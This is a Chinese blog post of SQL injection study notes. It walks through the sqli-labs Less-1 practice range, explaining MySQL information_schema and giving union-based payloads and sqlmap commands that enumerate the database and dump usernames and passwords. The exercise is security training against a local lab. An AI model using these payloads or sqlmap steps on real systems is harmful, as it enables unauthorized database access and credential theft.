sql注入学习（一）

最新推荐文章于 2024-09-15 23:28:35 发布
最新推荐文章于 2024-09-15 23:28:35 发布
阅读量102 收藏
点赞数
分类专栏： 渗透测试学习笔记 文章标签： sql 数据库 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xxwithyou/article/details/130624947
版权

基本介绍

实验环境：kali、docker
靶场环境：sql

文章目录

sql注入基本类型介绍

基于服务器接收到的响应

  • 基于错误的sql注入
  • 联合查询注入
  • 堆查询注入
  • SQL盲注
    • 基于布尔SQL盲注
    • 基于时间的SQL盲注
    • 基于报错的SQL盲注

基于如何处理输入的SQL插叙（数据类型）

  • 基于字符串
  • 数字或整数为基础

基于程度和顺序的注入（哪里发生了影响）

  • 一阶注射
  • 二阶注射
  • 通过用户输入的表单域的注射
  • 通过cookie注射
  • 通过服务器变量注射

常用的系统函数

1、version（）——mysql版本
2、user（）——数据库用户名
3、database（）——数据库名
4、@@datadir——数据库路径
5、@@version_compile_os——操作系统版本

字符串连接函数

可参考：http://www.cnblogs.com/lcamry/p/5715634.html
1、concat（str1,str2）——没有分隔符地连接字符串
2、concat_ws(separator,str1,str2)——含有分隔符地连接字符串
3、group_concat(str1,str2)——连接一个组的所有字符串

一般用于参数是否存在注入的语句

--+ 可以用#替换，url提交过程中Url编码后的#为%23
  • or 1=1 --+
  • ’ or 1=1 --+
  • "or 1=1–+
  • )or 1=1–+
  • ')or 1=1–+
  • ")or 1=1–+
  • "))or 1=1–+

union 操作符的介绍

select column_name from table1
union
select column_name from table1

示例

第一个表中的数据

mysql> SELECT * FROM Websites;
+----+--------------+---------------------------+-------+---------+
| id | name         | url                       | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1  | Google       | https://www.google.cm/    | 1     | USA     |
| 2  | 淘宝          | https://www.taobao.com/   | 13    | CN      |
| 3  | 菜鸟教程      | http://www.runoob.com/    | 4689  | CN      |
| 4  | 微博          | http://weibo.com/         | 20    | CN      |
| 5  | Facebook     | https://www.facebook.com/ | 3     | USA     |
| 7  | stackoverflow | http://stackoverflow.com/ |   0 | IND     |
+----+---------------+---------------------------+-------+---------+

第二个表中的数据

mysql> SELECT * FROM apps;
+----+------------+-------------------------+---------+
| id | app_name   | url                     | country |
+----+------------+-------------------------+---------+
|  1 | QQ APP     | http://im.qq.com/       | CN      |
|  2 | 微博 APP | http://weibo.com/       | CN      |
|  3 | 淘宝 APP | https://www.taobao.com/ | CN      |
+----+------------+-------------------------+---------+
3 rows in set (0.00 sec)

SQL union实例

SELECT country FROM Websites
UNION
SELECT country FROM apps
ORDER BY country;

在这里插入图片描述
UNION 不能用于列出两个表中所有的country。如果一些网站和APP来自同一个国家，每个国家只会列出一次。UNION 只会选取不同的值。请使用 UNION ALL 来选取重复的值！
在这里插入图片描述

information_schema介绍

information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库，数据库只能进行读取，不支持修改（增，删，更新）

mysql5.0以下：多用户单操作，不存在information_schema数据库
mysql5.0以上：多用户多操作，存在information_schema数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| challenges         |
| information_schema |
| mysql              |
| myweb              |
| performance_schema |
| security           |
| sys                |
| test               |
| user_demo          |
+--------------------+
9 rows in set (0.01 sec)

information_schema数据库说明

information_schema.schemata表：此表存放了当前数据库管理系统下所有的数据库，效果等同于==show databases;==命令

mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | myweb              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | test               | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | user_demo          | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | security           | gbk                        | gbk_chinese_ci         |     NULL | NO                 |
| def          | challenges         | gbk                        | gbk_chinese_ci         |     NULL | NO                 |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
9 rows in set (0.00 sec)

information_schema.tables数据库说明

在这个表下面存放了当前数据库管理系统下所有的数据库表，类似进去一个数据库中使用

show tables;

查看当前数据库中拥有的表。
查看information_schema.tables的表结构，有以下字段，其中
table_name：记录了当前数据库管理系统的所有表的名称
table_schema：记录了当前数据库表所属的数据库名称

mysql> desc information_schema.tables;
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
| Field           | Type                                                               | Null | Key | Default | Extra |
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(64)                                                        | YES  |     | NULL    |       |
| TABLE_SCHEMA    | varchar(64)                                                        | YES  |     | NULL    |       |
| TABLE_NAME      | varchar(64)                                                        | YES  |     | NULL    |       |
| TABLE_TYPE      | enum('BASE TABLE','VIEW','SYSTEM VIEW')                            | NO   |     | NULL    |       |
| ENGINE          | varchar(64)                                                        | YES  |     | NULL    |       |
| VERSION         | int                                                                | YES  |     | NULL    |       |
| ROW_FORMAT      | enum('Fixed','Dynamic','Compressed','Redundant','Compact','Paged') | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint unsigned                                                    | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint unsigned                                                    | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint unsigned                                                    | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint unsigned                                                    | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint unsigned                                                    | YES  |     | NULL    |       |
| DATA_FREE       | bigint unsigned                                                    | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint unsigned                                                    | YES  |     | NULL    |       |
| CREATE_TIME     | timestamp                                                          | NO   |     | NULL    |       |
| UPDATE_TIME     | datetime                                                           | YES  |     | NULL    |       |
| CHECK_TIME      | datetime                                                           | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(64)                                                        | YES  |     | NULL    |       |
| CHECKSUM        | bigint                                                             | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(256)                                                       | YES  |     | NULL    |       |
| TABLE_COMMENT   | text                                                               | YES  |     | NULL    |       |
+-----------------+--------------------------------------------------------------------+------+-----+---------+-------+
21 rows in set (0.01 sec)

我们查看其中的几条数据；例如在mysql数据库下面存在innodb_index_stats的一张数据表。我们通过展示mysql下面的数据表，可以看到确实存在。

mysql> select table_name,table_schema from information_schema.tables limit 1,10;
+---------------------------------------+--------------------+
| TABLE_NAME                            | TABLE_SCHEMA       |
+---------------------------------------+--------------------+
| innodb_index_stats                    | mysql              |
| CHARACTER_SETS                        | information_schema |
| CHECK_CONSTRAINTS                     | information_schema |
| COLLATIONS                            | information_schema |
| COLLATION_CHARACTER_SET_APPLICABILITY | information_schema |
| COLUMNS                               | information_schema |
| COLUMNS_EXTENSIONS                    | information_schema |
| COLUMN_STATISTICS                     | information_schema |
| EVENTS                                | information_schema |
| FILES                                 | information_schema |
+---------------------------------------+--------------------+
10 rows in set (0.00 sec)

进入mysql数据库中。

mysql> use mysql;
Database changed
mysql> show tables;
+------------------------------------------------------+
| Tables_in_mysql                                      |
+------------------------------------------------------+
| columns_priv                                         |
| component                                            |
| db                                                   |
| default_roles                                        |
| engine_cost                                          |
| func                                                 |
| general_log                                          |
| global_grants                                        |
| gtid_executed                                        |
| help_category                                        |
| help_keyword                                         |
| help_relation                                        |
| help_topic                                           |
| innodb_index_stats                                   |
| innodb_table_stats                                   |

information_schema.columns表

此表存放了当前数据库管理系统中所有的列名
table_name：记录了当前数据库管理系统的所有表的名称
table_schema：记录了当前数据库表所属的数据库名称
column_name：记录当前数据库管理系统下的所有列名称

mysql> desc information_schema.columns;
+--------------------------+----------------------------+------+-----+---------+-------+
| Field                    | Type                       | Null | Key | Default | Extra |
+--------------------------+----------------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(64)                | YES  |     | NULL    |       |
| TABLE_SCHEMA             | varchar(64)                | YES  |     | NULL    |       |
| TABLE_NAME               | varchar(64)                | YES  |     | NULL    |       |
| COLUMN_NAME              | varchar(64)                | YES  |     | NULL    |       |
| ORDINAL_POSITION         | int unsigned               | NO   |     | NULL    |       |
| COLUMN_DEFAULT           | text                       | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)                 | NO   |     |         |       |
| DATA_TYPE                | longtext                   | YES  |     | NULL    |       |
| CHARACTER_MAXIMUM_LENGTH | bigint                     | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint                     | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint unsigned            | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint unsigned            | YES  |     | NULL    |       |
| DATETIME_PRECISION       | int unsigned               | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(64)                | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(64)                | YES  |     | NULL    |       |
| COLUMN_TYPE              | mediumtext                 | NO   |     | NULL    |       |
| COLUMN_KEY               | enum('','PRI','UNI','MUL') | NO   |     | NULL    |       |
| EXTRA                    | varchar(256)               | YES  |     | NULL    |       |
| PRIVILEGES               | varchar(154)               | YES  |     | NULL    |       |
| COLUMN_COMMENT           | text                       | NO   |     | NULL    |       |
| GENERATION_EXPRESSION    | longtext                   | NO   |     | NULL    |       |
| SRS_ID                   | int unsigned               | YES  |     | NULL    |       |
+--------------------------+----------------------------+------+-----+---------+-------+
22 rows in set (0.00 sec)

我们查看一下user_demo数据库下面的user表结构做一个对比

mysql> select table_name,table_schema,column_name from information_schema.columns where table_schema='user_demo' and table_name='user';
+------------+--------------+--------------+
| TABLE_NAME | TABLE_SCHEMA | COLUMN_NAME  |
+------------+--------------+--------------+
| user       | user_demo    | id           |
| user       | user_demo    | username     |
| user       | user_demo    | userAccount  |
| user       | user_demo    | avatarUrl    |
| user       | user_demo    | gender       |
| user       | user_demo    | userPassword |
| user       | user_demo    | email        |
| user       | user_demo    | userStatus   |
| user       | user_demo    | phone        |
| user       | user_demo    | createTime   |
| user       | user_demo    | updateTime   |
| user       | user_demo    | isDelete     |
| user       | user_demo    | userRole     |
+------------+--------------+--------------+
13 rows in set (0.01 sec)

mysql> desc user;
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
| Field        | Type          | Null | Key | Default           | Extra                                         |
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
| id           | bigint        | NO   | PRI | NULL              | auto_increment                                |
| username     | varchar(256)  | YES  |     | NULL              |                                               |
| userAccount  | varchar(256)  | YES  |     | NULL              |                                               |
| avatarUrl    | varchar(1024) | YES  |     | NULL              |                                               |
| gender       | tinyint       | YES  |     | NULL              |                                               |
| userPassword | varchar(512)  | NO   |     | NULL              |                                               |
| email        | varchar(512)  | YES  |     | NULL              |                                               |
| userStatus   | int           | YES  |     | 0                 |                                               |
| phone        | varchar(128)  | YES  |     | NULL              |                                               |
| createTime   | datetime      | YES  |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED                             |
| updateTime   | datetime      | YES  |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
| isDelete     | tinyint       | NO   |     | 0                 |                                               |
| userRole     | int           | NO   |     | 0                 |                                               |
+--------------+---------------+------+-----+-------------------+-----------------------------------------------+
13 rows in set (0.00 sec)

开始sql-labs的第一关

首先使用简单的’or 1=1 --+做一个简单的注入判断，可以看到与i=1的结果是一致的，我们初步就判断这是存在注入点，使用上面的information_schema进行查看，在这之前我们也可以先判断以下数据库版本。
在这里插入图片描述

在这里插入图片描述

查看当前的数据库版本

http://127.0.0.1/Less-1/?id=-1’ union select 1,version(),2 --+
在这里插入图片描述
进入容器里面我们在看一下数据库版本，显然是一致的，这也说明我们可以去使用information_schema来查询我们想要的东西。
在这里插入图片描述

查询当前有那些数据库

id=-1’ union select 1,group_concat(schema_name),2 from information_schema.schemata --+
在这里插入图片描述

可以通过查看当前使用的数据库判断哪一个是我们需要的

id=-1’ union select 1,database(),3

在这里插入图片描述

查看该数据库下面的表信息

id=-1’ union select 1,group_concat(table_name),3 from information_scheam.tables where table_schema=‘security’ --+

在这里插入图片描述

查看表存在的列名

id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述

查看表中的数据

id=-1’ union select 1,group_concat(username),group_concat(pasword) from security.users

在这里插入图片描述

使用sqlmap来寻找注入点

先查看是否存在注入

sqlmap -u 'url'
# -u 指定目标URL (可以是http协议也可以是https协议)
sqlmap -u 'url' --delay 10
# 为了防止某些系统中配置了网络防火墙，可以使用--delay
# --delay参数可以制定访问的延迟，就是过一段时间在进行测试，有一定的时间间隔

在这里插入图片描述

列出数据库

sqlmap -u 'url' --dbs
# --dbs:列出当前存在的数据库
sqlmap -u 'url' --current-db
# --current-db：列出当前使用的数据库

在这里插入图片描述
在这里插入图片描述

列出指定数据库下面的数据表信息

sqlmap -u 'url' -D 'security' --tables
# -D:选择使用哪一个数据库
# --tables:列出当前的表信息

在这里插入图片描述

查看列信息

sqlmap -u 'url' -D 'security' -T 'users' --columns
# --columns:列出当前的列信息

在这里插入图片描述

sqlmap -u 'url' -D 'security' -T 'users' -C 'username,password' --dump
# --dump:获取字段中的数据

在这里插入图片描述

空即是啊
关注
专栏目录
SQL注入学习
黑黑的小鸭的博客
08-08 1988
本文是学习过程中所做的笔记，希望可以帮自己理顺SQL注入，也希望能帮助初学者对于SQL注入有一个比较清晰的认识；
SQL 注入漏洞详解
Toasten
07-23 1572
SQL 注入即是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。
sql注入详解
热门推荐
内心不种满鲜花就会长满杂草
05-05 21万+
SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱库、被删除、甚至整个服务器权限陷）。 即：注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询...
SQL注入学习一
Elvira
08-27 1305
什么是sql注入 系统函数 全局函数 information_schema
sql注入基础学习
qq_48257021的博客
03-10 1378
4.判断一下数据库中的表，网址后加上：and (select count(*) from admin) 0返回正常，说明存在admin表。and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100，即字符d，重复上述过程，可以判断出帐号为admin。and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1，返回正常，为字符a。
sql注入 学习笔记
weixin_45568648的博客
10-05 2852
自学sql注入
sql注入学习
qq_45590470的博客
09-09 2406
sql注入
SQL注入学习总结
YouthBelief的博客
10-09 4658
SQL注入1.sql注入原理2.sql注入的分类3.sql注入可能出现的功能点4.判断是否存在sql注入Mysql注入中常用函数一、联合查询注入二、报错注入三、布尔盲注四、时间盲注五、堆叠注入六、json注入5.sql注入的绕过测试环境总结 1.sql注入原理 web程序未对用户输入的数据进行严格的检查和过滤就拼接到后台的sql语句中执行，从而被黑客利用进行数据库的增删查改或写入webshell。 2.sql注入的分类 根据数据类型分为：数字型、字符型、搜索型。 根据提交方式分为：get型 post型 c
SQL注入详解一
cxm4545的博客
04-16 1289
梦想是直播带货的网安人突发奇想（）通过博客增加曝光度，由此写下了这篇。作为Web渗透的重要知识点——SQL注入，了解它对于接下来的网安学习至关重要。第一次写博客，难免有些紧张，失误之处请见谅！也希望通过写博客来记录我的网安成长之路，与博友们一起学习进步！
SQL注入学习1
2301_81040616的博客
04-17 1473
sql注入
SQL 注入天书.pdf
08-06
总的来说，《SQL注入天书》及配套的sqli-labs提供了全面的SQL注入学习路径，从基础到高级，从理论到实践，有助于安全专业人士和开发人员增强对这一重要安全威胁的理解和应对能力。通过深入学习和实践，可以有效地...
sql注入讲解ppt.pptx
08-10
一、SQL 注入的特点： 1. 广泛性：SQL 注入可以发生在各种 web 应用程序中，无论是使用哪种编程语言或数据库管理系统。 2. 隐蔽性：SQL 注入攻击往往是隐蔽的，很难被发现，需要具备专业的安全知识和经验来检测和...
sql注入网站源码
04-09
这个"sql注入网站源码"提供了一个具有SQL注入漏洞的ASP（Active Server Pages）网站实例，对于学习如何检测、防范和修复这类漏洞非常有价值。ASP是微软开发的一种服务器端脚本语言，常用于构建动态网站。 在ASP中，...
pangolinsdl—sql注入工具
06-20
SQL注入是一种常见的网络安全漏洞，它允许攻击者通过输入恶意的SQL代码来操纵或获取数据库中的敏感信息。针对这种威胁，开发者和安全研究人员常常使用SQL注入工具来进行测试和防御。PangolinsDL就是这样一个工具，它...
带SQL注入的一个ASP网站源码
12-29
这是一个很好的学习机会，可以帮助你理解SQL注入的工作原理，提高代码安全性。你可以尝试构造不同的SQL注入 payload，观察它们如何影响数据库，并学习如何编写防御代码。 总的来说，通过研究这个带有SQL注入的ASP...
sqlalchemy JSON 字段写入时中文序列化问题
llc的博客
09-12 291
_table_args__ = ({"comment": "表名称"})...extra = Column(JSON, comment="其他属性")...
text2sql(NL2Sql)综述《The Dawn of Natural Language to SQL: Are We Fully Ready?》
beingstrong的博客
09-15 583
text2sql(NL2Sql)综述《The Dawn of Natural Language to SQL: Are We Fully Ready?》详细笔记
SQL(结构性查询语句）
2301_78693337的博客
09-11 440
以上就是今天要讲的内容，本文介绍了基础的SQL语法使用，而sql还提供了大量能使我们快速便捷地处理数据的函数和方法等着我们探索。
SpringBlade dict-biz/list 接口 SQL 注入漏洞
最新发布
为了低调的博客
09-15 260
在 SpringBlade 框架中，如果接口的后台处理逻辑没有正确地对用户输入进行过滤或参数化查询（Prepared Statements），那么可能会存在 SQL 注入的漏洞。SQL 注入是一种安全漏洞，攻击者可以利用它向应用程序的数据库查询中插入或“注入”恶意的 SQL 代码片段。
SQL注入学习指南：Sqli-labs实战教程
"《SQL注入天书》是一本由Lcamry编写的关于MySQL注入技术的学习指南，发布于2016年7月。该文档旨在帮助读者深入了解SQL注入原理、实战技巧以及渗透测试中的相关知识。SQL注入是一种常见的网络安全漏洞，黑客通过构造...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值